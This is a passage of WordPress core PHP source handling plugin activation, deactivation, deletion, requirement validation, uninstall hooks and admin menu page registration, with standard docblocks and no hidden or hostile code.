 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True, if in the active plugins list. False, not in the list.
 */
function is_plugin_active( $plugin ) {
	return in_array( $plugin, (array) get_option( 'active_plugins', array() ), true ) || is_plugin_active_for_network( $plugin );
}

/**
 * Determines whether the plugin is inactive.
 *
 * Reverse of is_plugin_active(). Used as a callback.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @see is_plugin_active()
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if inactive. False if active.
 */
function is_plugin_inactive( $plugin ) {
	return ! is_plugin_active( $plugin );
}

/**
 * Determines whether the plugin is active for the entire network.
 *
 * Only plugins installed in the plugins/ folder can be active.
 *
 * Plugins in the mu-plugins/ folder can't be "activated," so this function will
 * return false for those plugins.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.0.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if active for the network, otherwise false.
 */
function is_plugin_active_for_network( $plugin ) {
	if ( ! is_multisite() ) {
		return false;
	}

$plugins = get_site_option( 'active_sitewide_plugins' );
	if ( isset( $plugins[ $plugin ] ) ) {
		return true;
	}

return false;
}

/**
 * Checks for "Network: true" in the plugin header to see if this should
 * be activated only as a network wide plugin. The plugin would also work
 * when Multisite is not enabled.
 *
 * Checks for "Site Wide Only: true" for backward compatibility.
 *
 * @since 3.0.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if plugin is network only, false otherwise.
 */
function is_network_only_plugin( $plugin ) {
	$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	if ( $plugin_data ) {
		return $plugin_data['Network'];
	}
	return false;
}

/**
 * Attempts activation of plugin in a "sandbox" and redirects on success.
 *
 * A plugin that is already activated will not attempt to be activated again.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the plugin file. If the plugin fails, then the redirection will not
 * be overwritten with the success message. Also, the options will not be
 * updated and the activation hook will not be called on plugin error.
 *
 * It should be noted that in no way the below code will actually prevent errors
 * within the file. The code should not be used elsewhere to replicate the
 * "sandbox", which uses redirection to work.
 * {@source 13 1}
 *
 * If any errors are found or text is outputted, then it will be captured to
 * ensure that the success redirection will update the error redirection.
 *
 * @since 2.5.0
 * @since 5.2.0 Test for WordPress version and PHP version compatibility.
 *
 * @param string $plugin       Path to the plugin file relative to the plugins directory.
 * @param string $redirect     Optional. URL to redirect to.
 * @param bool   $network_wide Optional. Whether to enable the plugin for all sites in the network
 *                             or just the current site. Multisite only. Default false.
 * @param bool   $silent       Optional. Whether to prevent calling activation hooks. Default false.
 * @return null|WP_Error Null on success, WP_Error on invalid file.
 */
function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) {
	$plugin = plugin_basename( trim( $plugin ) );

if ( is_multisite() && ( $network_wide || is_network_only_plugin( $plugin ) ) ) {
		$network_wide        = true;
		$current             = get_site_option( 'active_sitewide_plugins', array() );
		$_GET['networkwide'] = 1; // Back compat for plugins looking for this value.
	} else {
		$current = get_option( 'active_plugins', array() );
	}

$valid = validate_plugin( $plugin );
	if ( is_wp_error( $valid ) ) {
		return $valid;
	}

$requirements = validate_plugin_requirements( $plugin );
	if ( is_wp_error( $requirements ) ) {
		return $requirements;
	}

if ( ( $network_wide && ! isset( $current[ $plugin ] ) ) || ( ! $network_wide && ! in_array( $plugin, $current, true ) ) ) {
		if ( ! empty( $redirect ) ) {
			// We'll override this later if the plugin can be included without fatal error.
			wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) );
		}

ob_start();

if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
			define( 'WP_SANDBOX_SCRAPING', true );
		}

wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
		$_wp_plugin_file = $plugin;
		include_once WP_PLUGIN_DIR . '/' . $plugin;
		$plugin = $_wp_plugin_file; // Avoid stomping of the $plugin variable in a plugin.

if ( ! $silent ) {
			/**
			 * Fires before a plugin is activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
			do_action( 'activate_plugin', $plugin, $network_wide );

/**
			 * Fires as a specific plugin is being activated.
			 *
			 * This hook is the "activation" hook used internally by register_activation_hook().
			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
			 *
			 * If a plugin is silently activated (such as during an update), this hook does not fire.
			 *
			 * @since 2.0.0
			 *
			 * @param bool $network_wide Whether to enable the plugin for all sites in the network
			 *                           or just the current site. Multisite only. Default false.
			 */
			do_action( "activate_{$plugin}", $network_wide );
		}

if ( $network_wide ) {
			$current            = get_site_option( 'active_sitewide_plugins', array() );
			$current[ $plugin ] = time();
			update_site_option( 'active_sitewide_plugins', $current );
		} else {
			$current   = get_option( 'active_plugins', array() );
			$current[] = $plugin;
			sort( $current );
			update_option( 'active_plugins', $current );
		}

if ( ! $silent ) {
			/**
			 * Fires after a plugin has been activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
			do_action( 'activated_plugin', $plugin, $network_wide );
		}

if ( ob_get_length() > 0 ) {
			$output = ob_get_clean();
			return new WP_Error( 'unexpected_output', __( 'The plugin generated unexpected output.' ), $output );
		}
		ob_end_clean();
	}

return null;
}

/**
 * Deactivate a single plugin or multiple plugins.
 *
 * The deactivation hook is disabled by the plugin upgrader by using the $silent
 * parameter.
 *
 * @since 2.5.0
 *
 * @param string|string[] $plugins      Single plugin or list of plugins to deactivate.
 * @param bool            $silent       Prevent calling deactivation hooks. Default false.
 * @param bool|null       $network_wide Whether to deactivate the plugin for all sites in the network.
 *                                      A value of null will deactivate plugins for both the network
 *                                      and the current site. Multisite only. Default null.
 */
function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
	if ( is_multisite() ) {
		$network_current = get_site_option( 'active_sitewide_plugins', array() );
	}
	$current    = get_option( 'active_plugins', array() );
	$do_blog    = false;
	$do_network = false;

foreach ( (array) $plugins as $plugin ) {
		$plugin = plugin_basename( trim( $plugin ) );
		if ( ! is_plugin_active( $plugin ) ) {
			continue;
		}

$network_deactivating = false !== $network_wide && is_plugin_active_for_network( $plugin );

if ( ! $silent ) {
			/**
			 * Fires before a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
			do_action( 'deactivate_plugin', $plugin, $network_deactivating );
		}

if ( false !== $network_wide ) {
			if ( is_plugin_active_for_network( $plugin ) ) {
				$do_network = true;
				unset( $network_current[ $plugin ] );
			} elseif ( $network_wide ) {
				continue;
			}
		}

if ( true !== $network_wide ) {
			$key = array_search( $plugin, $current, true );
			if ( false !== $key ) {
				$do_blog = true;
				unset( $current[ $key ] );
			}
		}

if ( $do_blog && wp_is_recovery_mode() ) {
			list( $extension ) = explode( '/', $plugin );
			wp_paused_plugins()->delete( $extension );
		}

if ( ! $silent ) {
			/**
			 * Fires as a specific plugin is being deactivated.
			 *
			 * This hook is the "deactivation" hook used internally by register_deactivation_hook().
			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
			 *
			 * If a plugin is silently deactivated (such as during an update), this hook does not fire.
			 *
			 * @since 2.0.0
			 *
			 * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                   or just the current site. Multisite only. Default false.
			 */
			do_action( "deactivate_{$plugin}", $network_deactivating );

/**
			 * Fires after a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
			do_action( 'deactivated_plugin', $plugin, $network_deactivating );
		}
	}

if ( $do_blog ) {
		update_option( 'active_plugins', $current );
	}
	if ( $do_network ) {
		update_site_option( 'active_sitewide_plugins', $network_current );
	}
}

/**
 * Activate multiple plugins.
 *
 * When WP_Error is returned, it does not mean that one of the plugins had
 * errors. It means that one or more of the plugin file paths were invalid.
 *
 * The execution will be halted as soon as one of the plugins has an error.
 *
 * @since 2.6.0
 *
 * @param string|string[] $plugins      Single plugin or list of plugins to activate.
 * @param string          $redirect     Redirect to page after successful activation.
 * @param bool            $network_wide Whether to enable the plugin for all sites in the network.
 *                                      Default false.
 * @param bool            $silent       Prevent calling activation hooks. Default false.
 * @return bool|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
 */
function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
	if ( ! is_array( $plugins ) ) {
		$plugins = array( $plugins );
	}

$errors = array();
	foreach ( $plugins as $plugin ) {
		if ( ! empty( $redirect ) ) {
			$redirect = add_query_arg( 'plugin', $plugin, $redirect );
		}
		$result = activate_plugin( $plugin, $redirect, $network_wide, $silent );
		if ( is_wp_error( $result ) ) {
			$errors[ $plugin ] = $result;
		}
	}

if ( ! empty( $errors ) ) {
		return new WP_Error( 'plugins_invalid', __( 'One of the plugins is invalid.' ), $errors );
	}

return true;
}

/**
 * Remove directory and files of a plugin for a list of plugins.
 *
 * @since 2.6.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string[] $plugins    List of plugin paths to delete, relative to the plugins directory.
 * @param string   $deprecated Not used.
 * @return bool|null|WP_Error True on success, false if `$plugins` is empty, `WP_Error` on failure.
 *                            `null` if filesystem credentials are required to proceed.
 */
function delete_plugins( $plugins, $deprecated = '' ) {
	global $wp_filesystem;

if ( empty( $plugins ) ) {
		return false;
	}

$checked = array();
	foreach ( $plugins as $plugin ) {
		$checked[] = 'checked[]=' . $plugin;
	}

$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&' . implode( '&', $checked ), 'bulk-plugins' );

ob_start();
	$credentials = request_filesystem_credentials( $url );
	$data        = ob_get_clean();

if ( false === $credentials ) {
		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

if ( ! WP_Filesystem( $credentials ) ) {
		ob_start();
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $url, '', true );
		$data = ob_get_clean();

if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

if ( ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
	}

// Get the base plugin folder.
	$plugins_dir = $wp_filesystem->wp_plugins_dir();
	if ( empty( $plugins_dir ) ) {
		return new WP_Error( 'fs_no_plugins_dir', __( 'Unable to locate WordPress plugin directory.' ) );
	}

$plugins_dir = trailingslashit( $plugins_dir );

$plugin_translations = wp_get_installed_translations( 'plugins' );

$errors = array();

foreach ( $plugins as $plugin_file ) {
		// Run Uninstall hook.
		if ( is_uninstallable_plugin( $plugin_file ) ) {
			uninstall_plugin( $plugin_file );
		}

/**
		 * Fires immediately before a plugin deletion attempt.
		 *
		 * @since 4.4.0
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 */
		do_action( 'delete_plugin', $plugin_file );

$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin_file ) );

// If plugin is in its own directory, recursively delete the directory.
		// Base check on if plugin includes directory separator AND that it's not the root plugin folder.
		if ( strpos( $plugin_file, '/' ) && $this_plugin_dir != $plugins_dir ) {
			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
		} else {
			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin_file );
		}

/**
		 * Fires immediately after a plugin deletion attempt.
		 *
		 * @since 4.4.0
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param bool   $deleted     Whether the plugin deletion was successful.
		 */
		do_action( 'deleted_plugin', $plugin_file, $deleted );

if ( ! $deleted ) {
			$errors[] = $plugin_file;
			continue;
		}

// Remove language files, silently.
		$plugin_slug = dirname( $plugin_file );
		if ( '.' !== $plugin_slug && ! empty( $plugin_translations[ $plugin_slug ] ) ) {
			$translations = $plugin_translations[ $plugin_slug ];

foreach ( $translations as $translation => $data ) {
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.po' );
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.mo' );

$json_translation_files = glob( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '-*.json' );
				if ( $json_translation_files ) {
					array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
				}
			}
		}
	}

// Remove deleted plugins from the plugin updates list.
	$current = get_site_transient( 'update_plugins' );
	if ( $current ) {
		// Don't remove the plugins that weren't deleted.
		$deleted = array_diff( $plugins, $errors );

foreach ( $deleted as $plugin_file ) {
			unset( $current->response[ $plugin_file ] );
		}

set_site_transient( 'update_plugins', $current );
	}

if ( ! empty( $errors ) ) {
		if ( 1 === count( $errors ) ) {
			/* translators: %s: Plugin filename. */
			$message = __( 'Could not fully remove the plugin %s.' );
		} else {
			/* translators: %s: Comma-separated list of plugin filenames. */
			$message = __( 'Could not fully remove the plugins %s.' );
		}

return new WP_Error( 'could_not_remove_plugin', sprintf( $message, implode( ', ', $errors ) ) );
	}

return true;
}

/**
 * Validate active plugins
 *
 * Validate all active plugins, deactivates invalid and
 * returns an array of deactivated ones.
 *
 * @since 2.5.0
 * @return WP_Error[] Array of plugin errors keyed by plugin file name.
 */
function validate_active_plugins() {
	$plugins = get_option( 'active_plugins', array() );
	// Validate vartype: array.
	if ( ! is_array( $plugins ) ) {
		update_option( 'active_plugins', array() );
		$plugins = array();
	}

if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
		$network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
		$plugins         = array_merge( $plugins, array_keys( $network_plugins ) );
	}

if ( empty( $plugins ) ) {
		return array();
	}

$invalid = array();

// Invalid plugins get deactivated.
	foreach ( $plugins as $plugin ) {
		$result = validate_plugin( $plugin );
		if ( is_wp_error( $result ) ) {
			$invalid[ $plugin ] = $result;
			deactivate_plugins( $plugin, true );
		}
	}
	return $invalid;
}

/**
 * Validate the plugin path.
 *
 * Checks that the main plugin file exists and is a valid plugin. See validate_file().
 *
 * @since 2.5.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return int|WP_Error 0 on success, WP_Error on failure.
 */
function validate_plugin( $plugin ) {
	if ( validate_file( $plugin ) ) {
		return new WP_Error( 'plugin_invalid', __( 'Invalid plugin path.' ) );
	}
	if ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin ) ) {
		return new WP_Error( 'plugin_not_found', __( 'Plugin file does not exist.' ) );
	}

$installed_plugins = get_plugins();
	if ( ! isset( $installed_plugins[ $plugin ] ) ) {
		return new WP_Error( 'no_plugin_header', __( 'The plugin does not have a valid header.' ) );
	}
	return 0;
}

/**
 * Validates the plugin requirements for WordPress version and PHP version.
 *
 * Uses the information from `Requires at least` and `Requires PHP` headers
 * defined in the plugin's main PHP file.
 *
 * If the headers are not present in the plugin's main PHP file,
 * `readme.txt` is also checked as a fallback.
 *
 * @since 5.2.0
 * @since 5.3.0 Added support for reading the headers from the plugin's
 *              main PHP file, with `readme.txt` as a fallback.
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return true|WP_Error True if requirements are met, WP_Error on failure.
 */
function validate_plugin_requirements( $plugin ) {
	$plugin_headers = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );

$requirements = array(
		'requires'     => ! empty( $plugin_headers['RequiresWP'] ) ? $plugin_headers['RequiresWP'] : '',
		'requires_php' => ! empty( $plugin_headers['RequiresPHP'] ) ? $plugin_headers['RequiresPHP'] : '',
	);

$readme_file = WP_PLUGIN_DIR . '/' . dirname( $plugin ) . '/readme.txt';

if ( file_exists( $readme_file ) ) {
		$readme_headers = get_file_data(
			$readme_file,
			array(
				'requires'     => 'Requires at least',
				'requires_php' => 'Requires PHP',
			),
			'plugin'
		);

$requirements = array_merge( $readme_headers, $requirements );
	}

$compatible_wp  = is_wp_version_compatible( $requirements['requires'] );
	$compatible_php = is_php_version_compatible( $requirements['requires_php'] );

/* translators: %s: URL to Update PHP page. */
	$php_update_message = '</p><p>' . sprintf(
		__( '<a href="%s">Learn more about updating PHP</a>.' ),
		esc_url( wp_get_update_php_url() )
	);

$annotation = wp_get_update_php_annotation();

if ( $annotation ) {
		$php_update_message .= '</p><p><em>' . $annotation . '</em>';
	}

if ( ! $compatible_wp && ! $compatible_php ) {
		return new WP_Error(
			'plugin_wp_php_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current WordPress version, 2: Current PHP version, 3: Plugin name, 4: Required WordPress version, 5: Required PHP version. */
				_x( '<strong>Error:</strong> Current versions of WordPress (%1$s) and PHP (%2$s) do not meet minimum requirements for %3$s. The plugin requires WordPress %4$s and PHP %5$s.', 'plugin' ),
				get_bloginfo( 'version' ),
				phpversion(),
				$plugin_headers['Name'],
				$requirements['requires'],
				$requirements['requires_php']
			) . $php_update_message . '</p>'
		);
	} elseif ( ! $compatible_php ) {
		return new WP_Error(
			'plugin_php_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current PHP version, 2: Plugin name, 3: Required PHP version. */
				_x( '<strong>Error:</strong> Current PHP version (%1$s) does not meet minimum requirements for %2$s. The plugin requires PHP %3$s.', 'plugin' ),
				phpversion(),
				$plugin_headers['Name'],
				$requirements['requires_php']
			) . $php_update_message . '</p>'
		);
	} elseif ( ! $compatible_wp ) {
		return new WP_Error(
			'plugin_wp_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current WordPress version, 2: Plugin name, 3: Required WordPress version. */
				_x( '<strong>Error:</strong> Current WordPress version (%1$s) does not meet minimum requirements for %2$s. The plugin requires WordPress %3$s.', 'plugin' ),
				get_bloginfo( 'version' ),
				$plugin_headers['Name'],
				$requirements['requires']
			) . '</p>'
		);
	}

return true;
}

/**
 * Whether the plugin can be uninstalled.
 *
 * @since 2.7.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool Whether plugin can be uninstalled.
 */
function is_uninstallable_plugin( $plugin ) {
	$file = plugin_basename( $plugin );

$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
	if ( isset( $uninstallable_plugins[ $file ] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
		return true;
	}

return false;
}

/**
 * Uninstall a single plugin.
 *
 * Calls the uninstall hook, if it is available.
 *
 * @since 2.7.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return true True if a plugin's uninstall.php file has been found and included.
 */
function uninstall_plugin( $plugin ) {
	$file = plugin_basename( $plugin );

$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );

/**
	 * Fires in uninstall_plugin() immediately before the plugin is uninstalled.
	 *
	 * @since 4.5.0
	 *
	 * @param string $plugin                Path to the plugin file relative to the plugins directory.
	 * @param array  $uninstallable_plugins Uninstallable plugins.
	 */
	do_action( 'pre_uninstall_plugin', $plugin, $uninstallable_plugins );

if ( file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
		if ( isset( $uninstallable_plugins[ $file ] ) ) {
			unset( $uninstallable_plugins[ $file ] );
			update_option( 'uninstall_plugins', $uninstallable_plugins );
		}
		unset( $uninstallable_plugins );

define( 'WP_UNINSTALL_PLUGIN', $file );

wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
		include_once WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php';

return true;
	}

if ( isset( $uninstallable_plugins[ $file ] ) ) {
		$callable = $uninstallable_plugins[ $file ];
		unset( $uninstallable_plugins[ $file ] );
		update_option( 'uninstall_plugins', $uninstallable_plugins );
		unset( $uninstallable_plugins );

wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
		include_once WP_PLUGIN_DIR . '/' . $file;

add_action( "uninstall_{$file}", $callable );

/**
		 * Fires in uninstall_plugin() once the plugin has been uninstalled.
		 *
		 * The action concatenates the 'uninstall_' prefix with the basename of the
		 * plugin passed to uninstall_plugin() to create a dynamically-named action.
		 *
		 * @since 2.7.0
		 */
		do_action( "uninstall_{$file}" );
	}
}

//
// Menu.
//

/**
 * Add a top-level menu page.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 *
 * @global array $menu
 * @global array $admin_page_hooks
 * @global array $_registered_pages
 * @global array $_parent_pages
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by. Should be unique for this menu page and only
 *                             include lowercase alphanumeric, dashes, and underscores characters to be compatible
 *                             with sanitize_key().
 * @param callable $function   The function to be called to output the content for this page.
 * @param string   $icon_url   The URL to the icon to be used for this menu.
 *                             * Pass a base64-encoded SVG using a data URI, which will be colored to match
 *                               the color scheme. This should begin with 'data:image/svg+xml;base64,'.
 *                             * Pass the name of a Dashicons helper class to use a font icon,
 *                               e.g. 'dashicons-chart-pie'.
 *                             * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string The resulting page's hook_suffix.
 */
function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) {
	global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages;

$menu_slug = plugin_basename( $menu_slug );

$admin_page_hooks[ $menu_slug ] = sanitize_title( $menu_title );

$hookname = get_plugin_page_hookname( $menu_slug, '' );

if ( ! empty( $function ) && ! empty( $hookname ) && current_user_can( $capability ) ) {
		add_action( $hookname, $function );
	}

if ( empty( $icon_url ) ) {
		$icon_url   = 'dashicons-admin-generic';
		$icon_class = 'menu-icon-generic ';
	} else {
		$icon_url   = set_url_scheme( $icon_url );
		$icon_class = '';
	}

$new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url );

if ( null === $position ) {
		$menu[] = $new_menu;
	} elseif ( isset( $menu[ "$position" ] ) ) {
		$position            = $position + substr( base_convert( md5( $menu_slug . $menu_title ), 16, 10 ), -5 ) * 0.00001;
		$menu[ "$position" ] = $new_menu;
	} else {
		$menu[ $position ] = $new_menu;
	}

$_registered_pages[ $hookname ] = true;

// No parent as top level.
	$_parent_pages[ $menu_slug ] = false;

return $hookname;
}

/**
 * Add a submenu page.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @global array $submenu
 * @global array $menu
 * @global array $_wp_real_parent_file
 * @global bool  $_wp_submenu_nopriv
 * @global array $_registered_pages
 * @global array $_parent_pages
 *
 * @param string   $parent_slug The slug name for the parent menu (or the file name of a standard
 *                              WordPress admin page).
 * @param string   $page_title  The text to be displayed in the title tags of the page when the menu
 *                              is selected.
 * @param string   $menu_title  The text to be used for the menu.
 * @param string   $capability  The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug   The slug name to refer to this menu by. Should be unique for this menu
 *                              and only include lowercase alphanumeric, dashes, and underscores characters
 *                              to be compatible with sanitize_key().
 * @param callable $function    The function to be called to output the content for this page.
 * @param int      $position    The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	global $submenu, $menu, $_wp_real_parent_file, $_wp_submenu_nopriv,
		$_registered_pages, $_parent_pages;

$menu_slug   = plugin_basename( $menu_slug );
	$parent_slug = plugin_basename( $parent_slug );

if ( isset( $_wp_real_parent_file[ $parent_slug ] ) ) {
		$parent_slug = $_wp_real_parent_file[ $parent_slug ];
	}

if ( ! current_user_can( $capability ) ) {
		$_wp_submenu_nopriv[ $parent_slug ][ $menu_slug ] = true;
		return false;
	}

/*
	 * If the parent doesn't already have a submenu, add a link to the parent
	 * as the first item in the submenu. If the submenu file is the same as the
	 * parent file someone is trying to link back to the parent manually. In
	 * this case, don't automatically add a link back to avoid duplication.
	 */
	if ( ! isset( $submenu[ $parent_slug ] ) && $menu_slug != $parent_slug ) {
		foreach ( (array) $menu as $parent_menu ) {
			if ( $parent_menu[2] == $parent_slug && current_user_can( $parent_menu[1] ) ) {
				$submenu[ $parent_slug ][] = array_slice( $parent_menu, 0, 4 );
			}
		}
	}

$new_sub_menu = array( $menu_title, $capability, $menu_slug, $page_title );
	if ( ! is_int( $position ) ) {
		if ( null !== $position ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: add_submenu_page() */
					__( 'The seventh parameter passed to %s should be an integer representing menu position.' ),
					'<code>add_submenu_page()</code>'
				),
				'5.3.0'
			);
		}

$submenu[ $parent_slug ][] = $new_sub_menu;
	} else {
		// Append the submenu if the parent item is not present in the submenu,
		// or if position is equal or higher than the number of items in the array.
		if ( ! isset( $submenu[ $parent_slug ] ) || $position >= count( $submenu[ $parent_slug ] ) ) {
			$submenu[ $parent_slug ][] = $new_sub_menu;
		} else {
			// Test for a negative position.
			$position = max( $position, 0 );
			if ( 0 === $position ) {
				// For negative or `0` positions, prepend the submenu.
				array_unshift( $submenu[ $parent_slug ], $new_sub_menu );
			} else {
				// Grab all of the items before the insertion point.
				$before_items = array_slice( $submenu[ $parent_slug ], 0, $position, true );
				// Grab all of the items after the insertion point.
				$after_items = array_slice( $submenu[ $parent_slug ], $position, null, true );
				// Add the new item.
				$before_items[] = $new_sub_menu;
				// Merge the items.
				$submenu[ $parent_slug ] = array_merge( $before_items, $after_items );
			}
		}
	}
	// Sort the parent array.
	ksort( $submenu[ $parent_slug ] );

$hookname = get_plugin_page_hookname( $menu_slug, $parent_slug );
	if ( ! empty( $function ) && ! empty( $hookname ) ) {
		add_action( $hookname, $function );
	}

$_registered_pages[ $hookname ] = true;

/*
	 * Backward-compatibility for plugins using add_management_page().
	 * See wp-admin/admin.php for redirect from edit.php to tools.php.
	 */
	if ( 'tools.php' === $parent_slug ) {
		$_registered_pages[ get_plugin_page_hookname( $menu_slug, 'edit.php' ) ] = true;
	}

// No parent as top level.
	$_parent_pages[ $menu_slug ] = $parent_slug;

return $hookname;
}

/**
 * Add submenu page to the Tools main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Settings main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $function   The function to be called to output the content for this page.
 * @param int      $position   The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $position = null ) {
	return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $function, $position );
}

/**
 * Add submenu page to the Appearance main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
